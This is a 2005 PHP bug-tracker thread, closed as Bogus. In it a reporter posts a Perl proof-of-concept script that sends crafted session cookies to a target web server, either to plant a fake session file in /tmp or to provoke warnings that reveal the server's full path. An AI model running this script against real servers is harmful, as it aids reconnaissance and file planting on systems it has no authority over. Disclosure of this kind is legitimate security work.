ID: 35429
Updated by: [EMAIL PROTECTED]
Reported By: sienicki dot kamil at gmail dot com
-Status: Open
+Status: Bogus
Bug Type: Unknown/Other Function
Operating System: Linux/Windows (all?)
PHP Version: 4.4.1
New Comment:
Yeah, you can see full path to the script in 99.99999% of error
messages.
No bug here.
Previous Comments:
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[2005-11-27 23:46:32] sienicki dot kamil at gmail dot com
I think it is a small bug when i send '@' as a cookie name session and
php show full path to script.. when display errors is on
------------------------------------------------------------------------
[2005-11-27 21:29:22] [EMAIL PROTECTED]
What exactly are you trying to exploit?
------------------------------------------------------------------------
[2005-11-27 21:22:21] sienicki dot kamil at gmail dot com
Description:
------------
I write simple exploit to show this vuln.. (i think..)
problem with sessions..
--
#!/usr/bin/perl
#
# PHP vulnerabilities..
#
# Exploit (Proof Of Concept ?) by Kamil 'K3' Sienicki
#
# I found two possibility of use that bug.. (maybe more)
#
# display_errors must be On
#
use IO::Socket;
if(@ARGV < 3)
{
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "1. Create fake session file (sess_fake) in directory (default
/tmp). \n";
print "2. Full path disclosure.\n\n";
print "Usage: ./php_bug.pl [host] [address] [type of attack (1 or
2)]\n\n";
exit;
}
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ARGV[0]", PeerPort => "80" ) || die "[-] Connect failed! \r\n";
if($ARGV[2] == 1)
{
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "Name of session (default PHPSESSID): ";
$sess = <stdin>;
print "Name of fake sess_file: ";
$fake = <stdin>;
chomp($sess,$fake);
print $socket "GET $ARGV[1] HTTP/1.0\n";
print $socket "Cookie: $sess=$fake\n\n";
print "'$fake' fake file was created.. \n";
} elsif ($ARGV[2] == 2)
{
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "Name of session (default PHPSESSID): ";
$sess = <stdin>;
chomp($sess);
print $socket "GET $ARGV[1] HTTP/1.0\n";
print $socket "Cookie: [EMAIL PROTECTED]";
while ($answer = <$socket>)
{
if ($answer =~ m/^...Warning/)
{
print $answer."\n";
}
}
}
--
Reproduce code:
---------------
<?
session_start();
?>
Expected result:
----------------
Warning: session_start(): The session id contains invalid characters,
valid characters are only a-z, A-Z and 0-9 in /htdocs/sess.php on line
3
Warning: Unknown(): The session id contains invalid characters, valid
characters are only a-z, A-Z and 0-9 in Unknown on line 0
Warning: Unknown(): Failed to write session data (files). Please verify
that the current setting of session.save_path is correct (/tmp) in
Unknown on line 0
Full path disclosure..
------------------------------------------------------------------------
--
Edit this bug report at http://bugs.php.net/?id=35429&edit=1
